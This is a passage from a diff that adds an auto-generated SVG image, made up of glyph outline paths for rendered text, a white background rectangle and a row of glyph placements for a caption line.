+<path style="stroke:none;" d="M 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.78125 L 1.96875 -6.78125 C 2.363281 -7.269531 2.894531 -7.515625 3.5625 -7.515625 C 4.3125 -7.515625 4.875 -7.210938 5.25 -6.609375 C 5.632812 -6.015625 5.828125 -5.070312 5.828125 -3.78125 C 5.828125 -2.457031 5.570312 -1.472656 5.0625 -0.828125 C 4.5625 -0.191406 3.851562 0.125 2.9375 0.125 C 2.488281 0.125 2.078125 0.078125 1.703125 -0.015625 C 1.328125 -0.117188 1.046875 -0.238281 0.859375 -0.375 Z M 1.921875 -1.078125 C 2.054688 -0.992188 2.222656 -0.929688 2.421875 -0.890625 C 2.628906 -0.847656 2.84375 -0.828125 3.0625 -0.828125 C 3.570312 -0.828125 3.972656 -1.066406 4.265625 -1.546875 C 4.566406 -2.035156 4.71875 -2.78125 4.71875 -3.78125 C 4.71875 -4.207031 4.691406 -4.585938 4.640625 -4.921875 C 4.585938 -5.253906 4.503906 -5.539062 4.390625 -5.78125 C 4.273438 -6.03125 4.128906 -6.222656 3.953125 -6.359375 C 3.773438 -6.492188 3.554688 -6.5625 3.296875 -6.5625 C 2.941406 -6.5625 2.648438 -6.453125 2.421875 -6.234375 C 2.191406 -6.023438 2.023438 -5.742188 1.921875 -5.390625 Z M 1.921875 -1.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-32">
+<path style="stroke:none;" d="M 5.9375 -3.09375 C 5.925781 -2.601562 5.863281 -2.15625 5.75 -1.75 C 5.644531 -1.34375 5.484375 -1 5.265625 -0.71875 C 5.046875 -0.4375 4.773438 -0.21875 4.453125 -0.0625 C 4.128906 0.09375 3.769531 0.171875 3.375 0.171875 C 2.550781 0.171875 1.90625 -0.125 1.4375 -0.71875 C 0.976562 -1.3125 0.75 -2.222656 0.75 -3.453125 C 0.75 -4.484375 0.851562 -5.40625 1.0625 -6.21875 C 1.269531 -7.03125 1.554688 -7.726562 1.921875 -8.3125 C 2.285156 -8.90625 2.710938 -9.378906 3.203125 -9.734375 C 3.691406 -10.085938 4.210938 -10.328125 4.765625 -10.453125 L 5.0625 -9.59375 C 4.625 -9.476562 4.222656 -9.28125 3.859375 -9 C 3.492188 -8.726562 3.175781 -8.394531 2.90625 -8 C 2.632812 -7.613281 2.40625 -7.175781 2.21875 -6.6875 C 2.039062 -6.195312 1.914062 -5.675781 1.84375 -5.125 C 1.976562 -5.382812 2.191406 -5.613281 2.484375 -5.8125 C 2.785156 -6.007812 3.15625 -6.109375 3.59375 -6.109375 C 4.300781 -6.109375 4.863281 -5.859375 5.28125 -5.359375 C 5.707031 -4.859375 5.925781 -4.101562 5.9375 -3.09375 Z M 4.875 -3 C 4.875 -4.4375 4.351562 -5.15625 3.3125 -5.15625 C 2.945312 -5.15625 2.628906 -5.035156 2.359375 -4.796875 C 2.097656 -4.566406 1.910156 -4.300781 1.796875 -4 C 1.785156 -3.875 1.78125 -3.75 1.78125 -3.625 C 1.78125 -3.507812 1.785156 -3.394531 1.796875 -3.28125 C 1.785156 -2.957031 1.8125 -2.644531 1.875 -2.34375 C 1.9375 -2.050781 2.03125 -1.785156 2.15625 -1.546875 C 2.289062 -1.316406 2.457031 -1.128906 2.65625 -0.984375 C 2.863281 -0.847656 3.101562 -0.78125 3.375 -0.78125 C 3.8125 -0.78125 4.171875 -0.972656 4.453125 -1.359375 C 4.734375 -1.753906 4.875 -2.300781 4.875 -3 Z M 4.875 -3 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-33">
+<path style="stroke:none;" d="M 6.328125 -3.15625 L 4.953125 -3.15625 L 4.953125 0 L 3.90625 0 L 3.90625 -3.15625 L 0.296875 -3.15625 L 0.296875 -3.65625 L 4.1875 -10.4375 L 4.953125 -10.4375 L 4.953125 -4.109375 L 6.328125 -4.109375 Z M 3.90625 -7.390625 L 4.078125 -8.65625 L 4.03125 -8.65625 L 3.59375 -7.53125 L 1.984375 -4.71875 L 1.421875 -4 L 2.234375 -4.109375 L 3.90625 -4.109375 Z M 3.90625 -7.390625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-34">
+<path style="stroke:none;" d="M 1.359375 -10.265625 L 2.46875 -10.265625 L 2.46875 -2.296875 C 2.46875 -1.492188 2.335938 -0.882812 2.078125 -0.46875 C 1.816406 -0.0625 1.363281 0.140625 0.71875 0.140625 C 0.5625 0.140625 0.375 0.117188 0.15625 0.078125 C -0.0625 0.046875 -0.238281 -0.0078125 -0.375 -0.09375 L -0.140625 -1.046875 C -0.046875 -0.984375 0.0546875 -0.9375 0.171875 -0.90625 C 0.296875 -0.875 0.425781 -0.859375 0.5625 -0.859375 C 0.738281 -0.859375 0.878906 -0.894531 0.984375 -0.96875 C 1.085938 -1.050781 1.171875 -1.164062 1.234375 -1.3125 C 1.296875 -1.457031 1.332031 -1.628906 1.34375 -1.828125 C 1.351562 -2.023438 1.359375 -2.253906 1.359375 -2.515625 Z M 1.359375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-35">
+<path style="stroke:none;" d="M 5.234375 -10.265625 L 5.234375 -9.25 L 2.453125 -9.25 L 2.453125 -6.25 L 2.953125 -6.296875 C 3.734375 -6.285156 4.347656 -6.015625 4.796875 -5.484375 C 5.242188 -4.953125 5.472656 -4.195312 5.484375 -3.21875 C 5.472656 -2.664062 5.390625 -2.175781 5.234375 -1.75 C 5.085938 -1.332031 4.878906 -0.976562 4.609375 -0.6875 C 4.347656 -0.40625 4.039062 -0.191406 3.6875 -0.046875 C 3.34375 0.0976562 2.96875 0.171875 2.5625 0.171875 C 1.894531 0.171875 1.351562 0.078125 0.9375 -0.109375 L 1.203125 -1.046875 C 1.378906 -0.953125 1.570312 -0.890625 1.78125 -0.859375 C 2 -0.828125 2.25 -0.8125 2.53125 -0.8125 C 3.09375 -0.8125 3.546875 -1.015625 3.890625 -1.421875 C 4.242188 -1.828125 4.425781 -2.394531 4.4375 -3.125 C 4.425781 -3.875 4.242188 -4.429688 3.890625 -4.796875 C 3.546875 -5.160156 3.066406 -5.34375 2.453125 -5.34375 L 1.484375 -5.265625 L 1.484375 -10.265625 Z M 5.234375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-36">
+<path style="stroke:none;" d="M 4.78125 -7.328125 L 6.09375 -3.046875 L 6.359375 -1.640625 L 6.375 -1.640625 L 6.609375 -3.078125 L 7.59375 -7.328125 L 8.59375 -7.328125 L 6.640625 0.15625 L 6.046875 0.15625 L 4.5625 -4.65625 L 4.359375 -5.890625 L 4.328125 -5.890625 L 4.125 -4.640625 L 2.6875 0.15625 L 2.078125 0.15625 L 0.078125 -7.328125 L 1.203125 -7.328125 L 2.328125 -3.0625 L 2.515625 -1.640625 L 2.53125 -1.640625 L 2.796875 -3.09375 L 4 -7.328125 Z M 4.78125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-37">
+<path style="stroke:none;" d="M 1.0625 -10.265625 L 2.0625 -10.265625 L 1.6875 -7.4375 L 1.0625 -7.4375 Z M 1.0625 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-38">
+<path style="stroke:none;" d="M 1.390625 0 L 4.359375 -8.671875 L 4.890625 -9.390625 L 4.1875 -9.265625 L 0.828125 -9.265625 L 0.828125 -10.265625 L 5.828125 -10.265625 L 5.828125 -9.875 L 2.453125 0 Z M 1.390625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-39">
+<path style="stroke:none;" d="M 1.125 -6.5625 C 1.125 -6.84375 1.1875 -7.050781 1.3125 -7.1875 C 1.445312 -7.320312 1.628906 -7.390625 1.859375 -7.390625 C 2.078125 -7.390625 2.253906 -7.320312 2.390625 -7.1875 C 2.523438 -7.050781 2.59375 -6.84375 2.59375 -6.5625 C 2.59375 -6.28125 2.523438 -6.070312 2.390625 -5.9375 C 2.253906 -5.800781 2.078125 -5.734375 1.859375 -5.734375 C 1.628906 -5.734375 1.445312 -5.800781 1.3125 -5.9375 C 1.1875 -6.070312 1.125 -6.28125 1.125 -6.5625 Z M 1.125 -0.65625 C 1.125 -0.9375 1.1875 -1.144531 1.3125 -1.28125 C 1.445312 -1.414062 1.628906 -1.484375 1.859375 -1.484375 C 2.078125 -1.484375 2.253906 -1.414062 2.390625 -1.28125 C 2.523438 -1.144531 2.59375 -0.9375 2.59375 -0.65625 C 2.59375 -0.375 2.523438 -0.164062 2.390625 -0.03125 C 2.253906 0.101562 2.078125 0.171875 1.859375 0.171875 C 1.628906 0.171875 1.445312 0.101562 1.3125 -0.03125 C 1.1875 -0.164062 1.125 -0.375 1.125 -0.65625 Z M 1.125 -0.65625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-40">
+<path style="stroke:none;" d="M 0.53125 -0.625 C 0.53125 -0.875 0.597656 -1.070312 0.734375 -1.21875 C 0.878906 -1.363281 1.066406 -1.4375 1.296875 -1.4375 C 1.546875 -1.4375 1.75 -1.332031 1.90625 -1.125 C 2.070312 -0.925781 2.15625 -0.601562 2.15625 -0.15625 C 2.15625 0.164062 2.113281 0.453125 2.03125 0.703125 C 1.945312 0.960938 1.835938 1.191406 1.703125 1.390625 C 1.578125 1.585938 1.4375 1.75 1.28125 1.875 C 1.125 2 0.972656 2.09375 0.828125 2.15625 L 0.453125 1.65625 C 0.578125 1.59375 0.695312 1.503906 0.8125 1.390625 C 0.925781 1.273438 1.019531 1.148438 1.09375 1.015625 C 1.164062 0.878906 1.222656 0.734375 1.265625 0.578125 C 1.304688 0.429688 1.328125 0.28125 1.328125 0.125 C 1.128906 0.1875 0.945312 0.148438 0.78125 0.015625 C 0.613281 -0.117188 0.53125 -0.332031 0.53125 -0.625 Z M 0.53125 -0.625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-41">
+<path style="stroke:none;" d="M 1.8125 -7.328125 L 1.8125 -2.84375 C 1.8125 -2.101562 1.890625 -1.570312 2.046875 -1.25 C 2.203125 -0.9375 2.476562 -0.78125 2.875 -0.78125 C 3.082031 -0.78125 3.265625 -0.820312 3.421875 -0.90625 C 3.585938 -0.988281 3.734375 -1.097656 3.859375 -1.234375 C 3.984375 -1.367188 4.09375 -1.523438 4.1875 -1.703125 C 4.289062 -1.878906 4.375 -2.0625 4.4375 -2.25 L 4.4375 -7.328125 L 5.484375 -7.328125 L 5.484375 -2.078125 C 5.484375 -1.734375 5.492188 -1.367188 5.515625 -0.984375 C 5.546875 -0.609375 5.585938 -0.28125 5.640625 0 L 4.890625 0 L 4.625 -1.03125 L 4.578125 -1.03125 C 4.410156 -0.707031 4.171875 -0.425781 3.859375 -0.1875 C 3.546875 0.0507812 3.15625 0.171875 2.6875 0.171875 C 2.375 0.171875 2.097656 0.128906 1.859375 0.046875 C 1.628906 -0.0234375 1.429688 -0.160156 1.265625 -0.359375 C 1.097656 -0.566406 0.972656 -0.847656 0.890625 -1.203125 C 0.804688 -1.566406 0.765625 -2.023438 0.765625 -2.578125 L 0.765625 -7.328125 Z M 1.8125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-42">
+<path style="stroke:none;" d="M 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.253906 -9.328125 1.515625 -9.734375 C 1.785156 -10.148438 2.238281 -10.359375 2.875 -10.359375 C 3.125 -10.359375 3.351562 -10.34375 3.5625 -10.3125 C 3.769531 -10.28125 3.984375 -10.21875 4.203125 -10.125 L 3.9375 -9.21875 C 3.757812 -9.289062 3.59375 -9.335938 3.4375 -9.359375 C 3.289062 -9.390625 3.144531 -9.40625 3 -9.40625 C 2.8125 -9.40625 2.660156 -9.363281 2.546875 -9.28125 C 2.441406 -9.207031 2.363281 -9.085938 2.3125 -8.921875 C 2.257812 -8.753906 2.222656 -8.539062 2.203125 -8.28125 C 2.191406 -8.019531 2.1875 -7.703125 2.1875 -7.328125 L 3.71875 -7.328125 L 3.71875 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 Z M 0.234375 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-43">
+<path style="stroke:none;" d="M 5.65625 -10.265625 L 6.703125 -10.265625 L 6.703125 -3.390625 C 6.703125 -2.148438 6.457031 -1.253906 5.96875 -0.703125 C 5.488281 -0.148438 4.804688 0.125 3.921875 0.125 C 2.878906 0.125 2.117188 -0.140625 1.640625 -0.671875 C 1.171875 -1.210938 0.9375 -2.039062 0.9375 -3.15625 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -3.734375 C 2.046875 -3.203125 2.078125 -2.753906 2.140625 -2.390625 C 2.210938 -2.023438 2.328125 -1.726562 2.484375 -1.5 C 2.640625 -1.28125 2.832031 -1.117188 3.0625 -1.015625 C 3.300781 -0.921875 3.59375 -0.875 3.9375 -0.875 C 4.582031 -0.875 5.03125 -1.097656 5.28125 -1.546875 C 5.53125 -2.003906 5.65625 -2.734375 5.65625 -3.734375 Z M 5.65625 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-44">
+<path style="stroke:none;" d="M 0.9375 -10.265625 C 1.09375 -10.296875 1.265625 -10.316406 1.453125 -10.328125 C 1.648438 -10.347656 1.84375 -10.359375 2.03125 -10.359375 C 2.226562 -10.367188 2.421875 -10.375 2.609375 -10.375 C 2.804688 -10.382812 2.988281 -10.390625 3.15625 -10.390625 C 3.863281 -10.390625 4.46875 -10.265625 4.96875 -10.015625 C 5.46875 -9.773438 5.875 -9.425781 6.1875 -8.96875 C 6.5 -8.519531 6.722656 -7.972656 6.859375 -7.328125 C 7.003906 -6.691406 7.078125 -5.984375 7.078125 -5.203125 C 7.078125 -4.503906 7.007812 -3.832031 6.875 -3.1875 C 6.738281 -2.539062 6.515625 -1.972656 6.203125 -1.484375 C 5.890625 -0.992188 5.476562 -0.601562 4.96875 -0.3125 C 4.457031 -0.0195312 3.8125 0.125 3.03125 0.125 C 2.90625 0.125 2.742188 0.125 2.546875 0.125 C 2.359375 0.125 2.15625 0.113281 1.9375 0.09375 C 1.726562 0.0820312 1.53125 0.0703125 1.34375 0.0625 C 1.164062 0.0507812 1.03125 0.0351562 0.9375 0.015625 Z M 3.21875 -9.375 C 3.113281 -9.375 3.003906 -9.375 2.890625 -9.375 C 2.785156 -9.375 2.675781 -9.367188 2.5625 -9.359375 C 2.457031 -9.347656 2.359375 -9.335938 2.265625 -9.328125 C 2.171875 -9.316406 2.097656 -9.304688 2.046875 -9.296875 L 2.046875 -0.9375 C 2.078125 -0.925781 2.144531 -0.914062 2.25 -0.90625 C 2.351562 -0.90625 2.460938 -0.898438 2.578125 -0.890625 C 2.691406 -0.890625 2.796875 -0.882812 2.890625 -0.875 C 2.992188 -0.875 3.070312 -0.875 3.125 -0.875 C 3.664062 -0.875 4.113281 -0.988281 4.46875 -1.21875 C 4.832031 -1.457031 5.117188 -1.773438 5.328125 -2.171875 C 5.546875 -2.566406 5.695312 -3.023438 5.78125 -3.546875 C 5.863281 -4.078125 5.90625 -4.632812 5.90625 -5.21875 C 5.90625 -5.738281 5.863281 -6.25 5.78125 -6.75 C 5.707031 -7.25 5.570312 -7.691406 5.375 -8.078125 C 5.175781 -8.460938 4.898438 -8.773438 4.546875 -9.015625 C 4.203125 -9.253906 3.757812 -9.375 3.21875 -9.375 Z M 3.21875 -9.375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-45">
+<path style="stroke:none;" d="M 0.9375 -10.171875 C 1.25 -10.253906 1.582031 -10.3125 1.9375 -10.34375 C 2.289062 -10.375 2.640625 -10.390625 2.984375 -10.390625 C 3.367188 -10.390625 3.75 -10.34375 4.125 -10.25 C 4.507812 -10.164062 4.859375 -10.003906 5.171875 -9.765625 C 5.484375 -9.535156 5.734375 -9.210938 5.921875 -8.796875 C 6.109375 -8.390625 6.203125 -7.867188 6.203125 -7.234375 C 6.203125 -6.617188 6.109375 -6.09375 5.921875 -5.65625 C 5.742188 -5.226562 5.503906 -4.878906 5.203125 -4.609375 C 4.910156 -4.335938 4.570312 -4.140625 4.1875 -4.015625 C 3.800781 -3.898438 3.40625 -3.84375 3 -3.84375 C 2.957031 -3.84375 2.890625 -3.84375 2.796875 -3.84375 C 2.710938 -3.84375 2.617188 -3.84375 2.515625 -3.84375 C 2.421875 -3.851562 2.328125 -3.863281 2.234375 -3.875 C 2.140625 -3.882812 2.078125 -3.894531 2.046875 -3.90625 L 2.046875 0 L 0.9375 0 Z M 3.03125 -9.375 C 2.84375 -9.375 2.65625 -9.363281 2.46875 -9.34375 C 2.289062 -9.332031 2.148438 -9.3125 2.046875 -9.28125 L 2.046875 -4.921875 C 2.078125 -4.898438 2.132812 -4.882812 2.21875 -4.875 C 2.300781 -4.875 2.382812 -4.867188 2.46875 -4.859375 C 2.5625 -4.859375 2.648438 -4.859375 2.734375 -4.859375 C 2.816406 -4.859375 2.878906 -4.859375 2.921875 -4.859375 C 3.191406 -4.859375 3.453125 -4.890625 3.703125 -4.953125 C 3.960938 -5.023438 4.191406 -5.148438 4.390625 -5.328125 C 4.585938 -5.515625 4.742188 -5.757812 4.859375 -6.0625 C 4.984375 -6.375 5.046875 -6.765625 5.046875 -7.234375 C 5.046875 -7.640625 4.988281 -7.976562 4.875 -8.25 C 4.757812 -8.53125 4.613281 -8.753906 4.4375 -8.921875 C 4.257812 -9.085938 4.046875 -9.203125 3.796875 -9.265625 C 3.554688 -9.335938 3.300781 -9.375 3.03125 -9.375 Z M 3.03125 -9.375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-46">
+<path style="stroke:none;" d="M 1.0625 -7.328125 L 2.109375 -7.328125 L 2.109375 0.390625 C 2.109375 1.398438 1.945312 2.128906 1.625 2.578125 C 1.300781 3.023438 0.78125 3.191406 0.0625 3.078125 L 0.0625 2.125 C 0.269531 2.125 0.441406 2.078125 0.578125 1.984375 C 0.710938 1.898438 0.816406 1.769531 0.890625 1.59375 C 0.960938 1.414062 1.007812 1.191406 1.03125 0.921875 C 1.050781 0.648438 1.0625 0.332031 1.0625 -0.03125 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-47">
+<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.453125 C 4.625 -5.140625 4.539062 -5.660156 4.375 -6.015625 C 4.21875 -6.378906 3.898438 -6.5625 3.421875 -6.5625 C 3.078125 -6.5625 2.765625 -6.4375 2.484375 -6.1875 C 2.203125 -5.945312 2.015625 -5.640625 1.921875 -5.265625 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.640625 L 1.96875 -6.640625 C 2.164062 -6.898438 2.40625 -7.109375 2.6875 -7.265625 C 2.976562 -7.429688 3.335938 -7.515625 3.765625 -7.515625 C 4.085938 -7.515625 4.367188 -7.46875 4.609375 -7.375 C 4.847656 -7.289062 5.046875 -7.140625 5.203125 -6.921875 C 5.359375 -6.710938 5.472656 -6.425781 5.546875 -6.0625 C 5.628906 -5.707031 5.671875 -5.265625 5.671875 -4.734375 L 5.671875 0 Z M 4.625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-48">
+<path style="stroke:none;" d="M 6.3125 -0.390625 C 6.0625 -0.191406 5.75 -0.0507812 5.375 0.03125 C 5.007812 0.125 4.617188 0.171875 4.203125 0.171875 C 3.691406 0.171875 3.210938 0.078125 2.765625 -0.109375 C 2.328125 -0.304688 1.945312 -0.617188 1.625 -1.046875 C 1.3125 -1.472656 1.066406 -2.023438 0.890625 -2.703125 C 0.710938 -3.378906 0.625 -4.191406 0.625 -5.140625 C 0.625 -6.117188 0.722656 -6.941406 0.921875 -7.609375 C 1.128906 -8.285156 1.398438 -8.832031 1.734375 -9.25 C 2.066406 -9.675781 2.445312 -9.984375 2.875 -10.171875 C 3.3125 -10.359375 3.757812 -10.453125 4.21875 -10.453125 C 4.695312 -10.453125 5.085938 -10.414062 5.390625 -10.34375 C 5.703125 -10.269531 5.96875 -10.1875 6.1875 -10.09375 L 5.921875 -9.09375 C 5.734375 -9.207031 5.503906 -9.289062 5.234375 -9.34375 C 4.972656 -9.40625 4.671875 -9.4375 4.328125 -9.4375 C 3.984375 -9.4375 3.660156 -9.359375 3.359375 -9.203125 C 3.054688 -9.054688 2.785156 -8.8125 2.546875 -8.46875 C 2.316406 -8.132812 2.132812 -7.691406 2 -7.140625 C 1.863281 -6.597656 1.796875 -5.929688 1.796875 -5.140625 C 1.796875 -3.710938 2.035156 -2.640625 2.515625 -1.921875 C 3.003906 -1.203125 3.65625 -0.84375 4.46875 -0.84375 C 4.800781 -0.84375 5.097656 -0.882812 5.359375 -0.96875 C 5.628906 -1.0625 5.859375 -1.175781 6.046875 -1.3125 Z M 6.3125 -0.390625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-49">
+<path style="stroke:none;" d="M 2.875 0.171875 C 2.445312 0.148438 2.066406 0.101562 1.734375 0.03125 C 1.410156 -0.03125 1.140625 -0.128906 0.921875 -0.265625 L 1.265625 -1.265625 C 1.421875 -1.148438 1.632812 -1.046875 1.90625 -0.953125 C 2.175781 -0.859375 2.5 -0.800781 2.875 -0.78125 L 2.875 -4.9375 C 2.632812 -5.09375 2.394531 -5.257812 2.15625 -5.4375 C 1.925781 -5.613281 1.722656 -5.816406 1.546875 -6.046875 C 1.367188 -6.285156 1.222656 -6.554688 1.109375 -6.859375 C 0.992188 -7.171875 0.9375 -7.539062 0.9375 -7.96875 C 0.9375 -8.613281 1.097656 -9.148438 1.421875 -9.578125 C 1.753906 -10.015625 2.238281 -10.289062 2.875 -10.40625 L 2.875 -11.734375 L 3.765625 -11.734375 L 3.765625 -10.4375 C 4.148438 -10.414062 4.46875 -10.375 4.71875 -10.3125 C 4.976562 -10.257812 5.21875 -10.179688 5.4375 -10.078125 L 5.109375 -9.125 C 4.941406 -9.21875 4.753906 -9.296875 4.546875 -9.359375 C 4.335938 -9.421875 4.078125 -9.460938 3.765625 -9.484375 L 3.765625 -5.6875 C 4.015625 -5.519531 4.257812 -5.34375 4.5 -5.15625 C 4.75 -4.976562 4.96875 -4.769531 5.15625 -4.53125 C 5.34375 -4.289062 5.492188 -4.015625 5.609375 -3.703125 C 5.734375 -3.398438 5.796875 -3.039062 5.796875 -2.625 C 5.796875 -1.914062 5.617188 -1.316406 5.265625 -0.828125 C 4.921875 -0.347656 4.421875 -0.0351562 3.765625 0.109375 L 3.765625 1.46875 L 2.875 1.46875 Z M 3.53125 -0.84375 C 3.882812 -0.914062 4.164062 -1.09375 4.375 -1.375 C 4.582031 -1.664062 4.6875 -2.054688 4.6875 -2.546875 C 4.6875 -3.015625 4.570312 -3.394531 4.34375 -3.6875 C 4.125 -3.988281 3.851562 -4.253906 3.53125 -4.484375 Z M 3.109375 -9.453125 C 2.710938 -9.367188 2.4375 -9.1875 2.28125 -8.90625 C 2.125 -8.625 2.046875 -8.328125 2.046875 -8.015625 C 2.046875 -7.578125 2.144531 -7.21875 2.34375 -6.9375 C 2.539062 -6.65625 2.796875 -6.394531 3.109375 -6.15625 Z M 3.109375 -9.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-50">
+<path style="stroke:none;" d="M 0.6875 -4.6875 L 3.578125 -4.6875 L 3.578125 -3.6875 L 0.6875 -3.6875 Z M 0.6875 -4.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-51">
+<path style="stroke:none;" d="M 5.5625 -5.046875 L 5.5625 -4.625 L 1.1875 -1.34375 L 0.59375 -2.125 L 3.40625 -4.25 L 4.46875 -4.8125 L 3.421875 -5.28125 L 0.53125 -7.390625 L 1.109375 -8.171875 Z M 5.5625 -5.046875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-52">
+<path style="stroke:none;" d="M 2.6875 3.234375 C 2.3125 2.765625 2 2.25 1.75 1.6875 C 1.5 1.125 1.296875 0.546875 1.140625 -0.046875 C 0.984375 -0.640625 0.867188 -1.238281 0.796875 -1.84375 C 0.734375 -2.445312 0.703125 -3.019531 0.703125 -3.5625 C 0.703125 -4.101562 0.734375 -4.671875 0.796875 -5.265625 C 0.867188 -5.859375 0.984375 -6.457031 1.140625 -7.0625 C 1.296875 -7.664062 1.503906 -8.253906 1.765625 -8.828125 C 2.023438 -9.410156 2.34375 -9.953125 2.71875 -10.453125 L 3.375 -10.046875 C 3.0625 -9.546875 2.800781 -9.019531 2.59375 -8.46875 C 2.382812 -7.925781 2.21875 -7.375 2.09375 -6.8125 C 1.976562 -6.25 1.894531 -5.691406 1.84375 -5.140625 C 1.789062 -4.585938 1.765625 -4.0625 1.765625 -3.5625 C 1.765625 -3.09375 1.789062 -2.578125 1.84375 -2.015625 C 1.90625 -1.453125 2 -0.882812 2.125 -0.3125 C 2.257812 0.25 2.429688 0.796875 2.640625 1.328125 C 2.847656 1.867188 3.09375 2.351562 3.375 2.78125 Z M 2.6875 3.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-53">
+<path style="stroke:none;" d="M 0.703125 2.78125 C 0.984375 2.351562 1.226562 1.867188 1.4375 1.328125 C 1.644531 0.796875 1.8125 0.25 1.9375 -0.3125 C 2.070312 -0.882812 2.164062 -1.453125 2.21875 -2.015625 C 2.28125 -2.578125 2.3125 -3.09375 2.3125 -3.5625 C 2.3125 -4.0625 2.285156 -4.585938 2.234375 -5.140625 C 2.179688 -5.691406 2.09375 -6.25 1.96875 -6.8125 C 1.851562 -7.375 1.6875 -7.925781 1.46875 -8.46875 C 1.257812 -9.019531 1.003906 -9.546875 0.703125 -10.046875 L 1.359375 -10.453125 C 1.734375 -9.953125 2.050781 -9.410156 2.3125 -8.828125 C 2.570312 -8.253906 2.78125 -7.664062 2.9375 -7.0625 C 3.09375 -6.457031 3.203125 -5.859375 3.265625 -5.265625 C 3.335938 -4.671875 3.375 -4.101562 3.375 -3.5625 C 3.375 -3.019531 3.335938 -2.445312 3.265625 -1.84375 C 3.203125 -1.238281 3.09375 -0.640625 2.9375 -0.046875 C 2.78125 0.546875 2.570312 1.125 2.3125 1.6875 C 2.0625 2.25 1.753906 2.765625 1.390625 3.234375 Z M 0.703125 2.78125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-54">
+<path style="stroke:none;" d="M 2.515625 -6.515625 L 1.875 -8.125 L 1.828125 -8.125 L 2 -6.515625 L 2 0 L 0.9375 0 L 0.9375 -10.4375 L 1.59375 -10.4375 L 5.40625 -3.765625 L 6 -2.234375 L 6.0625 -2.234375 L 5.890625 -3.765625 L 5.890625 -10.265625 L 6.953125 -10.265625 L 6.953125 0.15625 L 6.28125 0.15625 Z M 2.515625 -6.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-55">
+<path style="stroke:none;" d="M 0.46875 -0.953125 L 3.203125 -5.75 L 3.71875 -6.375 L 0.46875 -6.375 L 0.46875 -7.328125 L 4.75 -7.328125 L 4.75 -6.375 L 2.015625 -1.546875 L 1.515625 -0.953125 L 4.75 -0.953125 L 4.75 0 L 0.46875 0 Z M 0.46875 -0.953125 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface21510">
+<rect x="0" y="0" width="821" height="378" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M -1 24 L 40 24 L 40 42.8 L -1 42.8 Z M -1 24 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="611.15625" y="41.00217"/>
+  <use xlink:href="#glyph0-2" x="618.378472" y="41.00217"/>
+  <use xlink:href="#glyph0-3" x="626.434028" y="41.00217"/>
+  <use xlink:href="#glyph0-4" x="635.322917" y="41.00217"/>
+  <use xlink:href="#glyph0-5" x="640.045139" y="41.00217"/>
+  <use xlink:href="#glyph0-6" x="648.378472" y="41.00217"/>
+  <use xlink:href="#glyph0-7" x="652.545139" y="41.00217"/>
+  <use xlink:href="#glyph0-8" x="656.989583" y="41.00217"/>
+  <use xlink:href="#glyph0-9" x="665.878472" y="41.00217"/>
+  <use xlink:href="#glyph0-10" x="671.434028" y="41.00217"/>
+  <use xlink:href="#glyph0-11" x="680.322917" y="41.00217"/>
+  <use xlink:href="#glyph0-12" x="689.211806" y="41.00217"/>
+  <use xlink:href="#glyph0-13" x="698.100694" y="41.00217"/>
+  <use xlink:href="#glyph0-14" x="705.322917" y="41.00217"/>
+</g>
